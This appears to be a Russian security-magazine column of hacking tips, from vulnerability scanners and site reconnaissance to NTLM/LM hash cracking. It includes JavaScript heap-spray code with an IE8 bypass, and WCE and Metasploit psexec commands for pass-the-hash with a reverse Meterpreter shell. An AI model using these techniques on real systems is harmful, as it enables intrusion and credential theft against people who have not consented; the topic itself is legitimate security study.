Задача: Организовать контроль уязвимого ПО под Windows

 

Решение

Не секрет, что количество client-side-атак все увеличивается и увеличивается, поэтому надо задуматься и о своей безопасности. Мы с вами люди, конечно, прошаренные, но не всегда удается уследить за дырками и заплатками ко всему тому ПО, что стоит на домашних компах, особенно если это ОС из семейства Windows. Поэтому рекомендую такую классную вещь, как PSI от Secunia (secunia.com/vulnerability_scanning/personal/).

Эта тулза мониторит установленное на твоем компе ПО на предмет известных уязвимостей. И если такое присутствует, дает ссылку на его обновление, либо исправление. Особое внимание уделено дыркам в браузерах, их плагинах, элементах ActiveX.

Конторе Secunia можно доверять: тулза знает большое количество самого распространенного ПО, а база уязвимостей содержит самую актуальную информацию (что приятно — иногда с точным описанием уязвимостей). Подытожу: такое ПО можно добавить в джентельменский набор к антивирю и файеру. Да и обычным юзерам желательно его поставить: мозгов особо не нужно, а основные дырки все же будут закрыты.

 

Задача: Внедрить Heapspray в Internet Explorer 8

 

Решение

Несколько лет назад, до Explorer’а 8, было очень модно использовать технику хипспрея. В основном это делалось для создания живучих сплоитов, так как вне зависимости от системы мы знали, где находится шеллкод. Напомню, что хипспрей — это создание большого количества куч, заполненных NOP’ами с шеллкодом в конце. Мы создаем их так много, что забиваем всю память. А потому почти со 100% вероятностью можем утверждать, что если передать управление по адресу 0x0d0d0d0d, например, то попадем в нашу кучу, где сначала исполнится NOP-sled, а потом и наш шеллкод. Сами кучи, в основном, создавались посредством следующего JavaScript-кода:

//Shellcode в переменную:
var shell = unescape("какой-то_шеллкод");
//NOPы:
var bigbk=unescape("%u9090%u9090%u9090%u9090");
while(bigbk.length<0x50000) bigbk=bigbk+bigbk;
//Создаем кучи
var mem=new Array();
for(i=0; i<400;i++) {mem[i]=bigbk+shell;}

Но в Internet Explorer 8 люди из Майкрософта создали защиту от хипспрея на JS. Это стало одной из причин появления и распространения всяческих JIT-spray техник на основе Flash’а, Java, .NET-технологий, о которых можно было прочесть в прошлых номерах в статьях Алексея Синцова.

Однако не так давно Dave Aitel из компании IMMUNITY показал, как можно обойти защиту от хипспрея в IE8. А именно:

//Создаем кучи
var h1=new Array();
h1[0] = bigbk + shell;
for (var i = 1 ; i < 300 ; i++) {
h1[i] = h1[0].substring(0,h1[0].length )
}

За это честь ему и хвала :). Более конкретных примеров приводить не буду, так как лучше посмотреть «вживую». А именно — в видеоролике к статье из прошлого номера про банк-клиенты за авторством все того же Алексея Синцова.

 

Задача: Автоматизированный поиск уязвимостей в сетке

 

Решение

Вернемся к олдскулу. Лет 10 назад всевозможные сканеры уязвимостей (Nessus, Retina, Xspider, etc.) были очень распространены, очень модны.

Большая часть «взломов» заключалась в сканировании подсетки каким-нибудь из них, нахождению сплоита под обнаруженную узявимость и эксплуатацию его. В общем-то, изменилось немногое :). Разве что ПО стало «покрепче», а народ в массах перешел на взлом сайтов.
Куча проектов зародилось в те времена, но только несколько дожили до наших дней. Правда, теперь это в основном высококлассное платное ПО.

Хотя к взлому это имеет косвенное отношение: использование сканеров уязвимостей типа Nessus — достаточно «шумный» процесс. Но если ты находишься на светлой стороне, то можешь найти уязвимости в подвластной тебе сетке и радоваться этому :). Хотя и для другой стороны есть свои бонусы. Можно, например, смоделировать вражескую подсетку или отдельные хосты с сервисами и натравить на них сканер. А выявленные уязвимости уже вручную попробовать реализовать на жертве. Все-таки базы уязвимостей у сканеров очень приличные.

Как уже было написано выше, продукты в основном платные. Но есть пара вариантов. К примеру, можно попробовать такой классический вариант, как Nessus (tenable.com/nessus/).

Имеется версия, немного урезанная для «домашнего использования» (эх, а раньше был опенсорсным :)). Сам Nessus модульный и имеет клиент-серверную архитектуру. Основной функционал несут плагины.

Ставится сканер очень просто:

  1. Устанавливаем сервак;
  2. Запускаем Nessus Server Manager и прописываем ключ, выданный на сайте после прохождения регистрации;
  3. Там же прописываем пользователей;
  4. Коннектимся на https://localhost:8834/.

Далее требуется создать и настроить профиль для сканирования (policies), потом уже можно сканировать(scans). Итоги — в Reports. Прога в основе простая, но имеет широкие возможности по настройке. И чтобы не потеряться, имеется хорошая документация и набор видеороликов на сайте производителя. Интересно будет всем, хотя бы побаловаться.
В общем, строим пентест-лабораторию, ставим сканер и повышаем свои скиллы :).

 

Задача: Поиск взаимосвязанных сайтов

 

Решение

Сбор информации о жертве — дело важное, с этим вряд ли кто-то поспорит. Когда цель — небольшой сайт, то проблем особых нет. Пробежался ручками по сайту, его «соседям» и по его «возможностям»; просканил spider’ом структуру; нашел хостинг, да CMS’ку — и дело в шляпе. Основные направления возможных векторов атаки у нас в руках.

Но когда «работаешь» с чем-то более крупным, дело достаточно сильно усложняется. Особенно если требуется не просто найти какую-то одну уязвимость и влезть через нее, а рассмотреть все возможные пути причинения ущерба ресурсу. Либо в ситуациях, когда основной сайт достаточно хорошо защищен, попытаться «залезть» через его «соседей». Под «соседями» здесь понимаются ресурсы, которые каким-либо образом взаимосвязаны с нашей целью, будь то бизнес-отношения, либо технические (обмен контентом, например).

Большая часть действий производится с минимальной автоматизацией. Для понимания взаимоотношений между сайтами нужен мозг :). Но чтобы не лазить по просторам сайтов впустую и не тратить драгоценное время, есть один наборчик, который может нам помочь.

Небезызвестная компания Sensepost еще 6 лет назад представила набор скриптов на Perl’е для сбора информации о ресурсах — BiLE-suite (sensepost.com/cms/resources/labs/tools/misc/BiLE-suite.tgz). Сейчас набор входит и в платный пакет BiDiBLAH.

BiLE-suite включает в себя разнообразные тулзы, большая часть которых связана с работой с DNS. Но есть пара под нашу задачу — BiLE.pl и BiLEweigh.pl. Суть заключается в том, что сначала первый скрипт, используя запросы в гугле в стиле «link:», находит сайты, ссылающиеся на нашу жертву. Потом, сканируя структуру нашей жертвы, находит все исходящие ссылки. А с помощью BiLE-weigh определяются весовые коэффициенты, указывающие на взаимосвязанность сайтов между собой. Причем последний скрипт дает оценку не просто по количеству ссылок между сайтами; учитывается и то, ссылаются ли они друг на друга или только «в одну сторону», и какое общее количество исходящих ссылок на конечных сайтах (чтобы снизить оценку новостным порталам).

Для работы скрипта требуется HTTrack (httrack.com/page/2/en/index.html). HTTrack — это оффлайн-браузер, с помощью которого BiLE скачивает сайты и потом уже парсит их, доставая ссылки.

HTTrack есть и под Win, и под *nix’ы. Скрипты BiLE-suite заточены под никсы, но поработав напильником, можно заставить их работать и под виндой. Мне скрипты понравились, я себе на BackTrack4 поставил.
Итак, сначала ставим HTTrack:

#tar xvfz httrack-3.43-9C.tar.gz
#./configure && make && su -c 'make install'

На сайте написано, что можно поставить webhttrack с репозитория, но там не та версия, которая требуется. Далее пришлось подкорректировать BiLE-weigh.pl:

Заменяем:

`cat temp | sort -r -t ":" +1 -n > @ARGV[1].sorted`;

На:

`cat temp | sort -r -t ":" --key=2 > @ARGV[1].sorted`;

Возможно, также придется подкорректировать переменную $mc в 67 строке в BiLE.pl. Например, убрать скачку swf-файлов, которые для нас бессмысленны, или указать полный путь до HTTrack для работы под Win.

Пример использования BiLE по сайту backtrack-linux.org:

perl BiLE.pl www.backtrack-linux.org BT

Где www.backtrack-linux.org — название анализируемого ресурса;
BT — название итогового файла.

Если точнее, то будет BT.mine и BT.warus, но последний ни для чего не используется.
Запускаем определение и сортировку весовых коэффициентов:

perl BiLE-weigh.pl www.backtrack-linux.org BT.mine

В итоге мы получим BT.mine.sorted. То есть список взаимосвязанных сайтов в порядке убывания, по которым и начинаем ползать ручками :).

 

Задача: Вынуть пароль из NTLM/LM-хеша

 

Решение

Издревле одной из основных целей взлома являлось получение админского доступа к хосту. И если отбросить все, то данный доступ подразумевает знание админского пароля. Откуда же его получить? Способов масса :). Но сегодня мы поговорим о том, как вынимать их прямо из ОС. А точнее, о Windows-системах с их LSA- и SAM-хранилищами.

Я думаю, всем известно, что Windows не хранит пароли в открытом виде. Он их в NTLM и LM-хешах хранит. По сути, это MD4 и DES-хеш соответственно. Как понятно, доступ к LSA- и SAM-хранилищам (есть еще места) простым смертным закрыт. Но хорошие дяди в разноцветных шапках написали кучку тулз, чтобы вынуть хешики из того или иного места.

Жаль, что для большей части этих тулз требуются высокие привилегии из-за необходимости использования техники DLL-инжекта, а именно — SeDebugPrivilege. Кроме этого хеши можно получить с помощью снифферов.

На самом деле проблем, связанных с безопасностью у NTLM’а, как протокола, достаточно много. Причем они настолько глубоки, что не имеют простых решений в данной реализации (точнее, реализациях) протокола.

Но перейдем к делу. Предположим, мы влезли в систему под управлением ОС Windows и сдампили хеши, используя тулзу pwdump, например, или проснифали NTLM-хеш с challenge’ем, используя модуль smb_sniff из Metasploit’a (см. майский номер журнала). Что с ними делать дальше?

Методов несколько, но для примера пробрутфорсим с помощью такой чудо-проги, как Cain&Abel (oxid.it/cain.html).
Все, что нам требуется — подгрузить хеши в прогу (вкладка Cracker) и выбрать метод перебора:

  1. Прямой перебор;
  2. По словарю;
  3. По радужным таблицам.

Далее можно начинать перебор. Если доступен LM-хеш, то лучше начать с него. Так как он, во-первых, регистронезависмый, уменьшается набор символов для перебора. А, во-вторых, состоит из двух частей по 7 символов, каждый из которых можно брутить отдельно.

Причем пароль дополняется нулями, если он меньше 14 символов. Поэтому, найдя кусок из второй части, можно уже более нацелено подойти к подбору первой. Все это существенно ускоряет процесс перебора. После этого можно перебрать NTLM-хеш, определив тем самым регистр найденного пароля. C LM-хешами есть пара важных моментов:

  • Начиная с Висты, LM-хеши не генерятся для пользователей;
  • Если пароль длиннее 15 символов, то его нельзя восстановить из LM-хеша;
  • Большинство тулз по подбору некорректно работают с русской кодировкой cp866.

Думаю, с настройками перебора в Cain’е проблем возникнуть не должно:

  • Выбираем тип перебора;
  • Тип хеша;
  • Словарь или алфавит для перебора.

Если же пасс получен из сниффера, то тип выбирается с пометкой Challenge. У smb_relay сhallenge равен «1122334455667788». Но если приходится часто сталкиваться с перебором, особенно по большим алфавитам, то желательно воспользоваться «радужными таблицами» (rainbow tables). Поскольку за пару абзацев идею не донести, читай статейку habrahabr.ru/blogs/algorithm/82941/, а также гугл в помощь. А для приближенного понимания — суть в том, что в таблицах уже просчитаны и специальном образом свернуты хеши для большого количества паролей.

Таблицы достаточно крупные по своим размерам, генерятся достаточно долго, но оправдываются высокой скоростью нахождения пассов в дальнейшем.

Достать их можно либо в Сети (ищи на торрентах), либо купив, либо сгенерив на дому. Для генерации таблиц можно использовать либо rtgen.exe из набора RainbowCrack (project-rainbowcrack.com/index.htm), либо используя winrtgen.exe из Cain’а. Но у последней, опять же, траблы с русским языком.

Брутфорсить по полученным таблицам лучше с помощью RainbowCrack. Кстати, есть мнение, что добавление соли (salt) к паролю при использовании хеш-функций (как, например, это делается на многих форумах) не дает возможность использовать радужные таблицы для перебора.

Это не так. Проблема заключается лишь в том, что нужно будет создать радужные c этой солью. Поэтому есть таблицы и для NTLM-, и для NTLM+challenge-хешей.

 

Задача: Получаем админские права под Windows без брута NTLM/LM-хешей

 

Решение

Я продолжу предыдущую тему, но несколько в другом контексте. Пасс админа — вещь, конечно, прекрасная, но цель наша — все-таки админский доступ.

К тому же, если говорить о доменном админе, то до его прав или хешей во многих случаях получается добраться постепенно. А начинается это, чаще всего, с компа какой-нибудь бесправной секретарши. Потом — права какогонибудь саппорта, админские и т.д. Хеши — это конечно прекрасно, но брутить все подряд — дело долгое. К нашей радости, все в том же протоколе NTLM, в обеих его реализациях, есть большая дырка. Для аутентификации достаточно знать только хеш пользователя. То есть даже брутить ничего не надо. Достал хеш — и можешь лазить по сетке с правами скомпрометированного юзера :). Техника тоже очень старая, в теории существующая аж с 1997 года.
Название — Pass The Hash. По факту очень юзабельна. Тулз для реализации несколько.

Я опишу две. От «создателя» техники — Hernan Ochoa (oss.coresecurity.com/pshtoolkit/doc/index.html и hexale.blogspot.com) и модуль, входящий в состав Metasploit.

Не так давно pshtoolkit был переработан и теперь называется WCE: Windows Credentials Editor (www.ampliasecurity.com/research/wce_v1.0.tgz). Не обращай внимание на «странное» расширение — в архиве обычный ехе’шник.
Итак, основные возможности WCE. Для начала можно вынуть NTLM/LM-хеши из памяти.

То, что в памяти:

>wce.exe –l

После каждого logon’а:

>wce.exe –e

Каждые 10 секунд:

>wce.exe –r10

Записать итог в память:

>wce.exe –o ntlms.txt

Далее — добавить/удалить хеши в память, модификация данных по сессиям:

> wce.exe -s user:Victim:1F27ACDE849935B0AAD3B435B5140
4EE:579110C4914
5015C47ECD267657D3174 -c "c:\Program Files\Internet
Explorer\iexplore.exe"

Где -s «добавляет» нового пользователя с именем «user», доменом «Victim» и последующим LM- и NTLM-хешем, а -с указывает, какую программу следует запустить под этим пользователем (в примере — Проводник). В Metasploit’е, как обычно, все делается быстро и просто. Запускаем модуль для выполнения pth:

msf>use exploit/windows/smb/psexec

Нагрузка — метерпретер и свой IP для бекконнекта:

msf>set PAYLOAD windows/meterpreter/reverse_tcp
msf>set LHOST 192.168.146.129

Указываем нашу жертву:

msf>set RHOST 192.168.0.101

Имя пользователя, от которого будут выполняться команды:

msf>set SMBUser Администратор

И его "LM:NTLM" хеши:

msf>set SMBPass 1F27A…….04EE:579…….2676

Запускаем атаку:

msf>exploit

В итоге получаем доступ к хосту с правами пользователя через Meterpreter.

Оставить мнение

Check Also

Предсказание случайности. Изучаем ASLR в Linux и GNU libc, обходим защиту адресного пространства и stack canary

За время существования в ядре Linux появилось множество различных механизмов защиты от экс…